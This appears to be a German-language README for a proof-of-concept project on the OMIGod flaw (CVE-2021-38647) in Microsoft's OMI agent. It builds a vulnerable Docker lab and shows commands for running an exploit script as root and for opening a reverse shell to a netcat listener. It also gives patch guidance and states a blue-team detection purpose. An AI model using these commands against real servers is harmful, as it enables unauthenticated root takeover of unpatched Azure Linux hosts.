
OMIGod / CVE-2021-38647 POC and Demo environment
Open Management Infrastructure (OMI, früher bekannt als NanoWBEM) ist ein Open-Source-Verwaltungsserver für das Common Interface Model (CMI) von Microsoft und The Open Group. OMI ist ein Software-Agent, der auf den meisten Linux-VMs von Azure zu finden ist, doch viele wissen nicht von seiner Existenz.
Am 14. September veröffentlichte das Wiz Research Team einen Artikel, der vier Schwachstellen in OMI beschreibt. Die Schwachstellen gelten als leicht ausnutzbar und können Angreifern eine beliebige Remote-Codeausführung und eine Eskalation zu Root mit einer einzigen Anfrage ermöglichen.
CVE-2021-38647 ist eine nicht authentifizierte RCE-Schwachstelle, die durch das Senden einer manipulierten HTTP-Anfrage ausgenutzt wird. CVE-2021-38647 ermöglicht es einem Angreifer, Befehle als Benutzer des OMI-Agenten, normalerweise root, auszuführen.
OMI-Agenten werden auf Azure Linux-Servern weit verbreitet eingesetzt, wenn diese Dienste verwendet werden:
Laut Microsoft stellen die meisten Azure-Dienste, die OMI verwenden, es ohne Freigabe des HTTP/S-Ports bereit.
Das Ziel dieses Projekts ist es, eine Demo-Umgebung auf einfach replizierbare Weise zu erstellen, damit Blue Teams leichter IoCs finden können. Um dieses Ziel zu erreichen, erstelle ich ein benutzerdefiniertes Docker-Image, das mit der verwundbaren Version von OMI eingerichtet ist.
Abhängig von Ihrer Einrichtung kann dies sudo erfordern.
# Building the docker container
docker build . -t omi-god
# Running it
docker run --name=omi-god -it omi-god
Sie haben nun das Root-Terminal des Docker-Containers. Sie sollten die IP-Adresse des Docker-Containers erhalten, was mit dem folgenden Befehl möglich ist:
# Add it to clipboard
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2 | xclip -selection clipboard
# Show it in terminal
docker inspect omi-god | jq ".[0].NetworkSettings.Networks.bridge.IPAddress" | cut -d\" -f2
Wenn dies eingerichtet ist, können Sie versuchen, beliebige PoCs auszuführen. Um den in diesem Projekt zu starten, führen Sie die folgenden Befehle aus:
# Execute any command as root
python3 omigod.py -t 172.17.0.2 -c id
-> uid=0(root) gid=0(root) groups=0(root)
# Get a reverse shell as root on the server
python3 omigod.py -t 172.17.0.2 -r -l 172.17.0.1 -p 4444 & nc -lnvp 4444
IppSecs Video zu diesem Exploit und zur Einrichtung einer ähnlichen Umgebung - https://www.youtube.com/watch?v=TXqi1BKtcyM Die in diesem Projekt eingerichtete Umgebung basiert auf IppSecs Video.
horizon3ai PoC - https://github.com/horizon3ai/CVE-2021-38647 Der PoC in diesem Projekt basiert auf horizon3ais PoC.
Weitere Details finden Sie in der Arbeit der ursprünglichen Forscher: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
Alle OMI-Versionen unter v1.6.8-1 sind verwundbar.
Es wurde eine gepatchte Version veröffentlicht, die diesen Exploit behebt. Aktualisieren Sie und stellen Sie sicher, dass die Version 1.6.8.1 oder höher ist.
Diese Software wurde ausschließlich für Zwecke der akademischen Forschung und zur Entwicklung effektiver Verteidigungstechniken erstellt und ist nicht dazu bestimmt, Systeme anzugreifen, es sei denn, dies ist ausdrücklich genehmigt. Die Projektbetreuer sind nicht verantwortlich oder haftbar für Missbrauch der Software. Verwenden Sie sie verantwortungsbewusst.